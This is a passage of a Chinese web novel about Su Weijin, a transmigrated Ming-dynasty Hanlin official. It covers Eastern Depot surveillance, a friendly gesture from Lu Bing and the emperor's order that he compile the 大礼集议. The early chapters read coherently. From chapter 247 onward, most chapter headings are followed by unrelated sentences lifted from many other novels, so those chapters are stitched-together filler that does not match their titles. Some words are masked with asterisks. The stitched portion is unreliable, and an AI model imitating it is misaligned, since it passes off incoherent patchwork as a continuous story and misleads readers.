自然首当其冲,被纳入重点“关照”名单。
翰林院里,苏惟瑾正埋首校勘一部前朝实录。
阳光透过高窗,在他专注的侧脸上投下淡淡的光影。
他神态平和,下笔稳健,仿佛外界的一切风波都与他无关。
然而,超频大脑却在高速运转,敏锐地捕捉着周遭环境的细微变化。
他注意到,最近翰林院外那条街上,
多了一个卖梨膏糖的担子,那汉子眼神过于灵活,总往院里瞟;
他还注意到,偶尔会有面生的内侍模样的人,
在翰林院廊下“路过”,停留的时间稍长了那么一瞬。
“呵,到底还是来了。”
苏惟瑾心中冷笑,笔下却不停,将一个错讹的字迹工整修正。
对于东厂的监视,他早有预料,甚至可以说是故意引其前来
——一个毫无破绽、完美无缺的臣子,反而更惹皇帝猜忌。
有些无伤大雅的“被监视”,恰好证明自己“坦荡”。
他的日常生活规律得近乎刻板:
卯时起床,辰时到翰林院点卯,处理公务或读书,申时下值回府,极少参与应酬,更不结交权贵。
至于产业?
“云裳阁”是沈香君明面上的生意,往来账目清晰,依法纳税;
“苏香”露和凝香烛虽是暴利,
但销售渠道单一(主要通过云裳阁),
且利润大部分用于购买那些看似无用的荒山滩涂,
账面上根本看不出任何结党营私、积蓄力量的迹象。
东厂的番子们盯了半月,回报给督公的报告千篇一律:
“苏侍读起居规律,言行谨慎,与人交往淡泊,产业账目清晰,未见异常。”
这让一心想抓点把柄的东厂督公颇有些无处下嘴的憋闷感。
这小子,滑不溜手得像条泥鳅!
而与东厂的暗中窥视形成微妙对比的,是锦衣卫那边释放出的若有若无的善意。
这一日,苏惟瑾下值回府,刚在书房坐定,
周大山便引着一位身着飞鱼服、腰佩绣春刀的锦衣卫总旗官走了进来。
那总旗官姓韩,面相颇为年轻,眼神锐利,但态度却算得上客气。
“下官韩刚,参见苏大人。”
韩总旗抱拳行礼,声音洪亮。
“韩总旗不必多礼,请坐。”
苏惟瑾心中微动,面上却热情招呼。
“不知韩总旗今日前来,所为何事?”
韩刚也不客套,直接说道:
“奉陆都督之命,给苏大人送些新到的洞庭春茶尝尝。”
说着,将一个小巧精致的锡罐放在桌上。
接着,他话锋似乎不经意地一转:
“另外,陆都督让下官提醒苏大人一声,
近日京城不太平,有些宵小之辈四处窥探,大人平日出入,还需多加留意。
尤其是……城东水洼子胡同那一带,卖零嘴的小贩杂了些,大人若无事,还是绕行为好。”
水洼子胡同,正是翰林院外那条街!
苏惟瑾心中雪亮,这是陆炳在向他示好,
并且隐晦地指出了东厂监视点的位置!
他立刻起身,郑重还了一礼:
“多谢陆都督挂念,多谢韩总旗提醒。
苏某谨记于心。还请韩总旗回禀陆都督,改日苏某必当登门拜谢。”
“苏大人客气了。”
韩
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刚笑了笑,又寒暄两句,便告辞离去。
送走韩刚,苏惟瑾看着那罐茶叶,眼神深邃。
陆炳此举,意味深长。
一方面,可能源于芸娘与陆清晏日渐密切的交往(两位年纪相仿的女子,一个温婉,一个飒爽,竟意外地投缘,芸娘偶尔会受邀过府);
另一方面,恐怕也是陆炳自身**投资的选择。
在皇帝信赖鹤岑,也对苏惟瑾另眼相看,释放善意,成本不高,潜在回报却不小。
“公子,陆都督这是……在帮我们?”
周大山有些不确定地问。
“是,也不是。
”苏惟瑾摩挲着冰凉的锡罐。
“是提醒,也是示好,更是一种观望。
他在告诉我,东厂的动静他清楚,甚至能施加影响。
这是在展示肌肉,也是在问我,值不值得他下更重的注。”
厂卫之间,从来都不是铁板一块,既有合作,更有竞争。
如今,他苏惟瑾似乎不知不觉间,成了这两大**暗中角力的一个焦点。
“那我们……”
周大山有些担忧。
“稳住。”
苏惟瑾语气平静。
“东厂那边,让他们看,我们坦荡行事。
锦衣卫这边,善意我们接着,芸娘与陆小姐的交往不必阻拦,
但我们也绝不主动依附。
保持距离,不偏不倚。”
他走到窗边,看着庭院里嬉闹的麻雀。
在京城这潭深不见底的水里周旋,
尤其是在厂卫这两条巨鳄之间找平衡,无异于刀尖跳舞。
一步踏错,便是万劫不复。
但目前看来,他这步棋走得还算稳健。
东厂抓不到把柄,锦衣卫释放善意,
鹤岑地位稳固,自己在翰林院潜心积累……一切似乎都在朝着好的方向发展。
然而,他深知,这种平衡是脆弱的。
张璁、邵元节等人绝不会甘心失败,东厂的监视也不会轻易撤去。
陆炳的善意更非无条件。
“大山,”
苏惟瑾忽然开口,声音低沉。
“让我们的人,最近都打起十二分精神。
特别是往北边和南边送信的人,路线再核查一遍,备用方案准备好。
我有种预感,真正的风浪,快要来了。”
周大山神色一凛:
“公子,是边镇……还是江南?”
苏惟瑾目光投向遥远的天际,摇了摇头:
“不知道。
但山雨欲来,绝不会只有东厂这几双眼睛那么简单。
这京城,要起风了。”
而且,这风恐怕会从意想不到的方向吹来。
他超频大脑中闪过几个看似不相干的信息碎片:
南方士林对“大礼议”旧事重提的微词,
北方边镇近期异常的粮草调动,
还有……宫中似乎有传言,
皇帝最近对某个藩王的举动,格外关注?
这些零散的线索,似乎预示着一场更大的波澜,正在暗中酝酿。
而他这艘刚刚在厂卫夹缝中找到一点平衡的小船,
能否在接下来的惊涛骇浪中,安然驶过?
第246章 奉旨修《集议》,妙笔定乾坤
嘉靖四年的初夏,紫禁城笼罩在一片沉闷湿热之中。
文华殿内,早朝的气氛更是凝重得能拧出水来。
百官垂首,屏息凝神,唯有御座上的少年天子,
手指无意识地敲击着龙椅扶手,发出笃笃的轻响,敲得人心头发慌。
苏惟瑾站在翰林院的班列中,低眉顺目,看似与周遭同僚并无二致,心中那根警惕的弦却早已绷紧。
超频大脑如同最精密的雷达,捕捉着朝堂上每一丝微妙的气息流动。
张璁今日格外沉默,眼神却锐利如鹰;
费宏老神在在,仿佛神游天外;
蒋冕、石珤等人也是眼观鼻,鼻观心。
这过分的平静,反而透着一股山雨欲来的压抑。
果然,当几项寻常政务奏罢,
司礼监太监拖长了调子,
准备宣布“有本早奏,无本退朝”时,
御座上的嘉靖帝忽然开口了,声音不高,却清晰地传遍大殿:
“《大礼集议》一书,关乎礼法根本,社稷纲常。
张卿等编纂数月,朕观之,犹有未臻完善之处。”
这话一出,如同平地惊雷!
张璁猛地抬起头,脸上血色瞬间褪去,
握着玉笏的手指因为用力而微微发白。
《大礼集议》!这可是他们“议礼派”安身立命的根本,
是他们打击旧臣、巩固权力的理论基石!
皇帝这话是什么意思?
难道要否定他们数月来的心血?
不等张璁出声辩解,嘉靖帝的目光已淡淡扫过翰林院班列,最终落在了苏惟瑾身上。
“翰林院侍读苏惟瑾。”
“臣在。”
苏惟瑾心头一跳,趋步出班,躬身应道。
“朕知你博闻强识,尤精经义。
这完善《大礼集议》之事,便交由你总揽编纂。
望你秉持公心,详加考订,务使义理周详,垂范后世。
张卿等先前所纂稿本,你可参详,但不必拘泥。”
嘉靖帝语气平和,却带着不容置疑的决断。
轰!
整个文华殿仿佛被投入了一颗巨石!
百官哗然!
无数道目光,惊愕、疑惑、嫉妒、幸灾乐祸……
齐刷刷射向那个躬身立于殿中的年轻身影。
张璁的脸色由白转青,再由青转红,胸口剧烈起伏,几乎要控制不住冲上去质问!
这《大礼集议》是他们“议礼派”的核心禁脔,
皇帝竟然将其交给一个并非他们核心圈子的苏惟瑾?!
这无异于将他们数月之功弃如敝履,
更是当着满朝文武的面,狠狠打了他们一记响亮的耳光!
是谁?
是谁在背后推动?
是清流那些老家伙?
是杨廷和的余党?
还是……皇帝自己的意思?
苏惟瑾此刻心中亦是翻江倒海,远超表面上的平静。
圣旨如山,他必须接下。
但这差事,分明是个烧红的烙铁!
接手,等于直接站到了张璁**的对立面,成了众矢之的;
不接,便是抗旨不尊。
更让他脊背发凉的是,如此重大的决定,他之前竟未得到丝毫风声!
鹤岑那边没有消息,陆炳那边没有暗示,连周大山布下的耳目也毫无察觉!
这出手之人,手段何其隐秘,能量何其庞大!
是首辅费宏?
他素有清望,但似乎无意卷入这等纷争;
是蒋冕?
他资历老道,城府极深;
还是杨一清?
他虽致仕,影响力犹在……
朝堂之上,依旧是一片诡异的寂静。
清流一派面面相觑,显然也对此感到意外;
勋贵集团则大多事不关己,冷眼旁观。
张璁死死盯着苏惟瑾,眼神阴鸷得几乎要滴出毒液,
他身旁的几个党羽,亦是面露愤慨,却又不敢在御前造次。
“臣……”
苏惟瑾深吸一口气,压下心头的惊涛骇浪,
超频大脑以前所未有的速度分析着利弊得失,
最终,他深深叩首。
“臣,领旨谢恩。定当竭尽驽钝,不负圣望!”
声音清晰,沉稳,听不出半分犹豫或惶恐。
“嗯。”
嘉靖帝似乎满意地点点头,不再多言,起身离去。
“退朝——”
司礼监太监尖利的嗓音响起,打破了殿内凝固的气氛。
百官如同潮水般退去,窃窃私语声瞬间充斥了整个空间。
无数道目光依旧黏在苏惟瑾身上,仿佛要将他看穿。
张璁拂袖而去,经过苏惟瑾身边时,
从牙缝里挤出一句冰冷刺骨的话:
“苏侍读,好自为之!”
苏惟瑾面色如常,对着他离去的背影微微拱手,没有回应。
回到苏府书房,门窗紧闭。
周大山一脸忧色:“公子,这……这分明是把我们架在火上烤啊!张璁他们岂能善罢甘休?”
苏惟瑾坐在书案后,手指无意识地在光洁的桌面上划动着,眼神前所未有的凝重。
“大山,我们之前,太过顺利了。”
他缓缓开口,声音带着一丝不易察觉的干涩。
随后便默然不语。
“凭借超前的知识和信息,我算计边患,预言火灾,扶植鹤岑,甚至在厂卫之间找到平衡……
这一切,让自己下意识地以为,凭借这‘超频大脑’,便可在这大明官场无往不利。”
他抬起头,目光锐利如刀,心中喟然:“但我错了,大错特错!
我小瞧了古人,小瞧了皇帝,
更小瞧了这盘根错节的朝堂势力!”
“皇帝今日此举,绝非一时兴起。
或是借我之手,敲打日渐骄横的张璁**;
或是有人进言,将我推出来当这搅动局势的棋子;
甚或……是皇帝自己,
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想看看我这个‘异数’,
在这等漩涡中,究竟能展现出何等价值,又能否为他所用!”
他想起大明前几任皇帝:
正德帝落水而亡,疑点重重;
弘治帝号称中兴,亦壮年早逝;
乃至后面的天启帝,也是死得不明不白……
这大明的龙椅,下面垫着的,是无数尸骨和诡谲莫测的阴谋!
“这编纂《大礼集议》的差事,我必须做,而且必须做得漂亮!”
苏惟瑾斩钉截铁的想着。
“绝不能沦为他人手中的刀,更不能让皇帝失望。
但如何做,却要仔细思量。”
他不能完全照搬张璁那套激进理论,那会彻底得罪清流和天下士林;
也不能全盘否定,那会直接触怒皇帝(皇帝是靠“大礼议”确立自身权力合法性的)。
他必须在夹缝中,找到一条既能体现皇帝意志(尊崇本生父),
又能符合儒家礼法基本框架,
甚至能稍微弥合朝野分歧的路径!
这需要何等精妙的平衡艺术?
需要对经义何等深刻的洞察?
需要对**风向何等精准的把握?
超频大脑能提供知识储备和分析能力,
但最终的决定,需要的是超越知识的**智慧和对人心的洞察。
而这,恰恰是他这个穿越者,最需要补课的地方。
“大山,”
苏惟瑾站起身,走到窗边,看着窗外沉沉的夜色。
“从今日起,府中一切用度从简,闭门谢客。
我要‘潜心修书’。”
他顿了顿,语气带着前所未有的警醒:
“另外,让我们所有的人,停止一切非必要的活动。
情报网络转入静默。
我们必须重新蛰伏起来,如履薄冰,步步为营。
这京城的水,比我们想象的要深得多。”
周大山感受到公子话语中的沉重,郑重应下:
“是,公子!”
苏惟瑾望着漆黑的夜空,心中那股因穿越和金手指而产生的隐隐优越感,在这一刻被彻底击碎。
他第一次如此清晰地认识到,在这煌煌大明,
他拥有的优势并非万能,稍有不慎,便是万丈深渊。
然而,危机之中亦蕴藏着机遇。
若能借此《大礼集议》编纂之机,
真正展现出足以平衡各方、弥合分歧的才华,
那他获得的,将不仅仅是圣眷,更是难以撼动的**地位和话语权。
只是,那隐藏在幕后,将他推至台前之人,究竟是谁?
其真正目的,又是什么?
这突如其来的任命,是考验,是陷阱,还是……通往权力核心的阶梯?
夜风吹动窗棂,发出呜呜的轻响,好似无数双眼睛,在暗处冷冷地窥视着这座看似平静的府邸。
苏惟瑾知道,他踏入了一个更加凶险的棋局,而执棋者,似乎远不止一位。
第247章 深夜独复盘,冷汗透衣襟
第247章深夜独复盘,冷汗透衣襟
夜色如墨,将苏府深深笼罩。
白日文华殿那场突如其来的风暴,余威犹在,压得府中上下透不过气。
书房内,烛火跳跃,映照着苏惟瑾凝重的侧脸。
他屏退了所有人,连周大山也只被允许守在院门外。
门窗紧闭,隔绝了外界一切声息,
“振腾,你跟他废话这么多干嘛,他根本就不是什么好人……”裴诗茵警告般的看着裴振腾,眼中一副人家都对你姐图谋不轨了,你还帮着人家说话,帮着人家数钱的眼神。
“刚才我的眼睛,一眨都没眨过,我可没看到他有收手的意思,更不觉得是巧合。你要是不信,现在走过去试试!”何时归说道。
“前辈这是打算去哪里?”吃惊过后,秦瑶回过神来,望着邱淑仪问道。
简傑余光瞥了瞥顾北辰,暗暗有些不满……失约了就想用柔情霸道模式,让脑回路有些秀逗的妈咪对你沉迷?
因为,不管怎么说,偷窃他人的劳动成果,向来都是为人所不齿的。
简沫想拒绝,可是,当石少钦那妖孽一般的凤眸深深凝着她的时候,她忘记了反应。
酒逢知己千杯少,话不投机半句多,叶浩和这个老板就是属于前者那种,虽然是第一次见面,但就是莫名的聊得来。
“哥,让他走吧,是我让他过来看我的。”正在程逸奔怒不可逷之际,程希芸适时淡淡的开口了,这个时候,她脸上的那滴眼泪早就掩了过去。
之前还因为古星魂丹炉被毁而愤怒的柳云天他们,此刻已是一片‘激’动的欢呼。
不过十几分钟,他们来到了医院。路上,柳见枫还停车买了一些补品和水果。
“胆大心细而已,不足挂齿。”方贤谦虚地说。随后,众人继续搜索周围,大牛上前直接扛起了野猪,以他二流强者的实力,扛起四五百斤的野猪是轻而易举的事情。
扔出去的手雷都还有被敌人扔回来的情况,这样扔出去的C4,指望可以伤到无惨和上弦?
在这个时空中,人们看着高台之上的人,只觉得有一股强大的魄力扑面而来。
程元卿在一旁没说话,却也在点头附和车掌柜的意见,比起车掌柜来,包子爹爹还是不太有做生意的魄力,不过好在他是个善于听取别人意见的人。
华兰神色如常,脸上挂着笑容,只挑好听的说给两个妹妹听,免得她们跟着担心。
“圣上,我们就先告退了。”这时,旁边的路志云与贡国良连忙拱手说,武帝父子谈话,他们觉得没有必要在旁边听着。
若是正面野战放对的话,莫说是扶风营了,便是禁军之中最精锐的骑兵,也未必是西夏铁骑的对手。
其次,人族和龙族之间的关系比较微妙,虽然也有龙吃人,人屠龙的情况发生,但基本上双方有默认的规矩,即龙族不可以袭击人族城镇,而人族也不可以侵入龙族领地。若是违背了这条规矩,那么被干掉也是没办法的事情。
还有一些身穿高科技装备,有着单兵套装的精锐战士,手里拿着改装好的枪械,脸上充满着沉着和冷静,他们按照预定的目的地前进着。
而且还是皇家史诗装备,材料上好。要是公爵领的史诗装备,李安娜就要骂娘了。
第248章 定计搅浑水,移花接木计
书房内,烛泪堆叠,更漏声残。
苏惟瑾枯坐良久,眸中惊涛渐平,复归深潭之静。
超频大脑全力运转,非为炫技,而为求生。
他指尖蘸了凉透的茶水,
在紫檀桌面上无意识划动,
水痕纵横,勾勒出的并非经义文章,
唐风这时候练到了八卦拳的第二个境界“起无影亏去无形,去意好似卷地风”正好将这套八卦步发挥得淋漓尽致。
“年轻人喜欢听戏的可不多。”国相爷章国祥抬着浑浊的老眼,抽了孟凡一下。
这种怪异的现象,不让人差异才怪,引来了不少人,除了正常度假的客人,还有科学院的老学究,什么地质学家,生物学家,农业学家的全来了。
“如何?看来现在唐某的血能够让你消气了吗?”唐天说着就拿剑在自己的手臂上拉了一个巨大的口子。
双方各自问好,伍德先生指着身后的人,简单介绍一番,那翻译官道:“伍德先生说,这几位都是与他们公司合作的伙伴,只是这位,是他的儿子,大卫。”说着,用目光示意,最左面那个年轻人。
曹良瑟的尸体被安置在木堆之上,佟霜等人提前为她换了身白底绣着暗红色花瓣的衣裳,一样绾了发髻,一样略施粉黛,远远看去竟不似已死之人,像是睡着了。
听着四周差不多的讨论声的时候,叶勇抿了抿嘴,然后与邓华邓虎都是报了名之后便是打算先回去,毕竟距离比赛开始还有一个时辰的时间。
刀是普通的刀,可是握在唐风的手里却有种冰冷的感觉,还有一股杀人的热血直透心间。
黄继慧也有些兴奋的跑了过去,拿起来一看,才有些失望的说道。
他们现在是进退两难,退嘛,他们也无法跃出身后的那个泥潭,进嘛,却又冒着未知的风险,不知潭下是何东西,假如真是怪物,在那水潭里,他们可无处可逃。
神屠云天的四大护卫,已经奉命以他之名,向焚双神帝国借来了一艘大悬浮战船,然后伪装成大型悬浮商船正停泊在商海港湾。
一边怒骂着,唐易手一翻,将万千化身巨剑放回了系统背包,紧接着又拿出了之前的镇魂封灵刀。
项羽这时候不禁想到了那处仙人遗迹,心中生出一个大大的疑惑,仙人也是会死的吗?
一大早,晨曦微露,东方泛白,天地初亮,清新的空气令人精神气爽。
“哎,你们怎么就是那么倔强呢?”哀叹一声,村长拂袖而起,想走出去。
“兄弟们,都休息好了吗?来让我们了结他们,送他们去见阎罗王吧!”桓伟斜跨一步,“噌”地一声将佩剑从地上拔起,往隘口方向一指,朗声说道。
登顶之路的勋章有九个,原则上每人都可能会获得一个,以出此台阶的时间来判断名次。
客舱内的座椅上,半开的防护罩完全收起,侧面也露出了玻璃窗,能够看到外面一排武装飞船以及飞船之后的一艘轻型巡洋舰。
刚说出口,太白金星就醒悟过来,大骂张易太狡猾,却忘了骂自己太笨,一时哭笑不得。
眼看着漫天罡威缓缓退却,所有人都是脸色一松,长长的呼出口气。
那日塞托莉邀请林维一起回家族处理一个棘手的实验,虽然林维立即应允,但是他却知道,塞托莉当时是在说谎。
第249章 拜会张秉用,谦逊释敌意
听到孙候光报出的数目,从来不骂人的老李也爆出了一句粗口。二十只巨型未知生物,让老李的心很是刺激了一把。那感觉,绝对比坐过山车爽十倍。不过,相信如果有选择的话,老李绝对不会选择这种惊心动魄的感觉。
可惜了,就在离她们只有一步之遥的地方,嗡嗡嗡的琴声突然又想起来了,而且能感觉得到,这一次比先前那两次都要来得猛烈。
从谷内穿过,众人纷纷和青年打招呼,他的身份在谷内明显不低。
“这味道,就是比凡人要舒服。”腥魂张口一吸,便见一道道虚魂漂浮起来,被其吸入口中,他胖嘟嘟的脸露出舒适之笑。
欧阳虹不亏是做老板的,就在陆浩正想问题时,她已经打电话给陆浩按排好了房间,并叫了一个服务生,给他列了一张清单,让他给陆浩去买些日常用品,当然这些陆浩并不知道。
“对,但我却看不到,估计是只有李涛的眼睛能发现吧。”邓宇浩补道。
但面对战神和火神以他们的实力想要打开封印还是难了点,虽然现在有诺娅这个主神一级的精灵使,但诺娅才刚晋升精灵使不久,实力肯定比不上战神和火神,其他人在战神和火神面前更是不堪一击。
辛夷抬眼冷冷的瞟了瞟他,“沐公子慢走,不送。”说罢,转身回了桌子里头的位子坐下,将被丢在桌上的算签拿在手里。
“弟兄们,我们黄家军腥风血雨的经历多少次了,外面那些个中州人的败类奈何不了咱们的。大家说是不是。”黄捷手持大刀高喊。
连舟一手托腮,一手轻敲着光洁的青玉石桌面,微微低头,若有所思的模样甚是优雅。她眼睛瞟向自己的左手,乌黑的眸子中藏着几抹探寻和思悟。
有了亚特尘希插手,前方天使越发用力鼓动翅膀,只是眨眼间便拉开很远的距离。
“我得上台去排练了,你在下面陪着她好了。”慕秋看着自己的经纪人过来叫自己过去在走流程。
瓦沙克冷汗津津,他还记得那个故事,伊莎作为天使界的人,潜伏在所罗门。故事里的王与自己都爱上了她,可是在圣魔之战的时候,她偷走了一项至关重要的东西交给天使界,导致所罗门大败,王死于战场。
他呢,并没有提起我那条分手短信,也不提我偷偷离去的行为,更不提救助外婆的事儿,只是跟我走着走着,那有力的大手就自然而然的伸手放在了我的腰间,将我拉进了他的怀里。
“能这样被你照顾真的很好,可还是觉得受之有愧。”苏熙月说出了内心的感受。
实在是太舒服了,上一个位面世界的原因,她整天都绷着神经,就连睡觉都不安稳。
眼睛一转,看着冷墨雨,药老不屑,这就是那个冷墨雨?果然跟传闻的一样,无玄力,无魔法的废材。不过,他倒是想知道,这么一个废材,有怎会将他那个新收的徒弟打败呢?还是那么惨?
可惜,天不遂人愿,当她看着试纸上那浅浅的两道杠时,她几乎崩溃了。
亚特尘希收回手令,受礼的点点头,然后退到拱门之外。
而此时的云落好似还在云里雾里,只是怔怔然地抬头看着众人,不知道发生了什么事情。
一时间,张三一有种难以躲开,只好一剑劈断了已经近身的长矛,趁着机会,张三一的炁剑,掠向了其中一尊沙兵的脑袋,那沙兵竟然一歪脑袋,炁剑擦着耳朵,砍在了肩膀上。
一头巨兽的影子慢慢出现在了三哥的身后,突然,三哥开始动了,很是僵硬的机械的慢慢向着隔间走去。
会场里面,一下子又骚乱了起来,说话的那人微笑的看着黄世明。
独孤寒瞳孔放大,眼前这个年轻人又是楚天一的余孽,他一招落空,双掌向前一推,力量十足,这次封死楚寒的所有退路。
冷素锦慢慢冷静下来,在房间里想了又想,她能够想到的就是宋崇明。但转念再想,温老爷神通广大,如果现在给宋崇明打电话,他一定可以查到,到时候自己会死的更惨。
黄猗也知道他在家族用来和袁术联姻之后便已经成为了家族弃子,除非是袁术飞黄腾达了,他才能够起势。
“练虚养气丹”由火龙草、九梗叶为主药,加上一些普通的花草,混合炼制而成,能大幅度增强人的气血,培养出精气,化为真元,可谓是增强真气的灵丹妙药。
洛梨看着那唯一的一匹马,头上三根黑线划过,才出门就被套路。
只见苗月心走出帐篷,来到早已冷却的烧烤炉前,坐了下来,仰起头看着满天的繁星,等待着一个男生的出现。
第250章 清流暗试探,虚与巧周旋
苏惟瑾拜访张璁,姿态放得极低,
并呈上编纂大纲“请教”的消息,
如同长了翅膀,迅速在京城官场特定的圈层里传开。
这出乎意料的举动,
让许多等着看“龙虎斗”的人大跌眼镜,
也让另一些人陷入了更深的思量。
安雅看着整个办公室,却没有注意到洛枫已经点了一根烟,不断地打量着安雅的身段儿。安雅这些日子看来是更瘦了些了。
到目前为止,前期所有的计划完成的很完美,现在就剩下鸠摩智出现了。
好了,等以后看你的表现吧!现在我有事要思考,不要打扰我!龙风装作一副我吃定你是把表情吩咐道。
虽然张易自始至终没想过要娶木婉清,可是得到这个结果还是让他很不舒服,甚至有些生气。
此次交手无声无息,那些青色水滴的幻影在与剑光撞在一起之后,两相纷纷化作了一蓬蓬的灵气,消散在了空中。
大家回头一看只见一位衣着普通的老汉从远处跑来,他边跑边喊,传递着一个消息:“孩子们没事”。
杨亭感受到身体那澎湃的力量,不由自主地露出微笑,片刻之后,他向前一步,对着杜路一挥,顿时强大的剑气与斩击想着杜路飞去,带着呼呼咆哮的声音。
安雪凌心中一动:莫非母亲在看梅家的人?他们认识吗,还是往日有什么渊源?
鲁炎硕看着大发神威的八棱禁法镜,脑门之上,一滴冷汗突然冒了出来。
“确实是这样,众生意,众生之愿望,唤醒人类的情感,给于人类以目标与进化的可能,当然的,也是最好的控制人的意!”王忆说。
蓝紫色的雷弧甲胄从张元昊的皮毛之中生出,顷刻间遍布其身躯,原本银色的巨狼此刻宛如一只从雷霆之中走出来的神兽,双眸绽雷,奔袭带电,周身亦有溅射而出的惊人雷弧。
管亥自不必言,那是太平道的核心人物。张角天罡三十六徒之中武力第一者,手中一杆狼牙棒,也是万夫不当之勇,号为:“天勇”,乃青州黄巾天勇部渠帅,统率黄巾军中最为精锐的黄巾力。
“此战乃因为神兽而败,我不服!”骨嵬咬牙说道,豆大的汗珠不断落下。
一个巨大的螺旋层层迭起,林凡王峥等人开始发力,随着他们的怒吼声,一片片剑光,仿佛光幕一样照向四方之际,又是一片腥风血雨。
“起床了!太阳都晒屁股了!”夏梦幽的声音传入了柳耀溪的耳中。随后“哗”的一声,帘子也被夏梦幽拉开了,阳光瞬间照亮了整个房间,洒在了柳耀溪的床上。
史阿打眼望去,门外刀斧坚盾,机关连弩,精中之精,锐中之锐,先登敢死之勇烈之士已经将英雄楼围了个水泄不通。
过了好久,于峥才姗姗来迟,而他的身后,却跟着一位中年男子。
那是一头体型如鲸的巨型异形海怪,化形期才有的神念,紧紧锁定在龙舟上,身化虚无,下一刻,突然从高处出现,并且下压垂砸在战舟的外层防御上。
公子出却很是疲惫,他抿着唇,琉璃般的双眸中,闪过一抹冷意。
“水行龙法!洪‘波’!”无数水泉从地底冒出,就算是以那些巨人的块头儿也被直接冲上天去。可惜的是这里不是适合水元之力发威的五行,这里的洪‘波’数量太少,只能给他们造成一定的威胁而已。
第251章 武勋抛橄榄,利益初捆绑
那封关于“青词”的匿名警告信,
如似在苏惟瑾本就紧绷的心弦上又轻轻拨动了一下,
余音袅袅,带着说不清道不明的寒意。
他将其小心收好,并未声张,只是心中的警惕又提髙了三分。
“佑卿已经接了令,自告奋勇请缨去支援边陲了。如今风国来犯我边疆,情况确实有些危急。”千月不惊不乍,他的性子的确是从未有过着急和生气。
别说是三辆,就是十辆车,凭了他的车技,不需要一枪一弹,也可以一辆一辆的干掉他们。
阵阵天哭,一片片红色枯骨和死灵的掉落,都说明了天地不容有人道出这段因果,即便是有天渊的震慑,他也能够轰开屏障,触及到这天渊最深处。
“说,你是不是喜欢他!”龙佑卿的话让四月猛然一惊,仿佛心底的秘密被戳中一般。
“都是些不要命的死侍。”曼娜捂着口鼻,走过刺客的尸体,未扫一眼,似乎早已见惯不怪。
众人发自肺腑的赞誉,在柴苟听来,却是莫大的讽刺。他的那只右眼射出骇人的冷光,左眼处的那片肉膜不停地颤动,让谢听风觉得甚是诡异。
亏得自家孩子还心地善良的去救人,于家就是这么对待救命恩人的?
“那大可不必担心,我谅他们还没那个胆子。”他一副不好惹的样子。
沈丽雪气脸色、由红变黄,摘下香奈儿包包怒愤地甩砸在茶几,一屁股蹲坐在沙发上。
轩辕长风一开始还误以为青易是什么很重要地事,原来是担心他母亲,于是告诉青易不用担心他母亲,他母亲现在在很安全的地方,如今只要青易在这里好生待着不惹事,最多一个月他就来带青易出去。
范深已经完蛋了,他老婆连拍照的钱都没拿到。玛德,人倒霉起来喝凉水都能变成冰块。
第三是极品御姐,这个苏泽到现在只遇到过一个,网络上倒是很多。
南池干净利落地拔出匕首身形,脚上踩着完美的步法,退回了安全地带。
一场在众人眼里旗鼓相当的战斗,可金木晟却心中早已知晓了结果。
厂里每天三班倒。调整了绩效工资和奖金发放标准,以前的员工干的非常带劲。
好在乐星告诉他,在这个世界上有一种植物叫做青叶,是一种长在悬崖峭壁之中的植物,正好可以抑制红眼病。
苏泽本来就没准备把韩祺瑶纳入陪伴一生的名单里,算了就算了。
当一旁庞灵官宣布开始时,海玉成立刻将所有防御类的法术、神通、法宝全部祭出,然后才开始向燕缨进攻。
不过这边安全区除了上头那只剑齿虎外,确实没有其他的大型动物了。
他们找了个地方休息了一会,正准备出发的时候,前一刻阳光明媚,现在却多云了。太阳时不时的出来一下,现在正值冬天,又没下雪实在是难以分辨方位。
王大东冷笑,长剑微微前移,尖锐的剑端便在他的眉心留下一道浅浅的伤口。
持妙树,准提与接引再战数日。终,接引不敌,被准提以妙树刷落一具嗔痴法身,坠入漩涡湖泊。战力折损,接引遂败。
至于这道门,足足两米厚,除非核弹就在附近爆炸,否则就算是核爆,也是无法将其摧毁。
第252章 集议初稿成,帝心甚嘉悦
时近盛夏,蝉鸣聒噪,紫禁城的重重殿宇笼罩在一片灼人的暑气之中。
然而,比这天气更灼人的,是朝野上下对那部《大礼集议》编纂进展的关注。
无数双眼睛,或明或暗,都盯着翰林院里那个埋首故纸堆的年轻身影。
他心里已经认定了凤凰。将来要是真的去中原,和武艺高强的老婆一起闯荡江湖,也是一件美事。
灵狐打量了场中的情形之后,就已经知道许寒心中的想法了,他只是有些不高兴许寒这个疯子不是一个省油的灯,争风吃醋,都争到人家哥哥身上了。如果要是让柳丫头知道了,还不知道该怎么伤心呢?
当时,那些修仙界的前辈大能们,不仅汇集了整个昊天界的修士,甚至还联合了所有妖族的力量,更是付出了极为惨痛的代价,这才终于将魔族赶回了魔界。
有传闻说她拥有操纵野兽的异能,但是战斗力检测后她的信息流传出去让人大感失望,她身体中的结晶全是已知结晶没有一个能操纵生物的思想。
叶天宇在这里,总有一天,她要爆发,她已经忍得很辛苦才没有动手。
山白虎见状随手后抡,正是狄冲霄后脑所在。臂上各处骨节一改直硬,柔韧似鞭如蛇,弯过不折不断。手鞭一招极简单,可神光尽皆隐于血肉,半点不显,正是汲灵散灵神盾最无法应付的一类。
鳌拜问了一下寺中的具体情况。如今少林寺的日子不是不好过,简直是没法过。
只见眼前的这辆马车,不像普通的马车那样是两轮的,而是四轮马车,车厢高大气派,装饰品中,大量地使用了玻璃和其它黄金珠宝,就连轮毂都是用黄金包裹的。比起他原来那辆马车要气派得多了。
太史慈和高顺就到了太史慈的屋子里。两人都心情不好,不愿意跟夏枫谈这个话题。
阳光下,坚不可破的寒晶锁魔柱升起袅袅轻烟,继而变软,如泥似浆。
“地藏谢帝君夸奖,帝君的决定地藏已经听说,帝君做事肯定有自己的考虑,地藏不会阻拦,地藏只有一个问题想要请教帝君。”地藏轻声开口说道。
无心胸内一股热气没压下,喉咙一甜,一口鲜血当场从嘴里飚出。
身体在呼吸吐纳本能作用下,丹田内气自然而然生成,在督脉中循环往复,慢慢温养着经脉穴位。
方才他们远远看着叶浩川等人就要救下杨森叶昊了,以为这场战斗即将结束。却没想到那黑衣人头领突然拿出一个石头,就让战局瞬间发生了改变。
于是,那些秦宗权的残部就存活了下来,形成一个个新的军阀势力。
虎毒不食子,朱良源居然能说出把朱乐芸送给王辰随便玩这种话,他的心估计都已经变成了黑色,甚至都不能算是一颗心,不然岂会这般狠毒?
燕真也同样的感觉到,自己身上受的伤势真的很重很重,在这样的情况下,自己要逃都很难逃了,看来自己真要死在这一招之下。
叶浩川推算了一下时间,三个月前,刚好与龙组覆灭的时间相吻合。
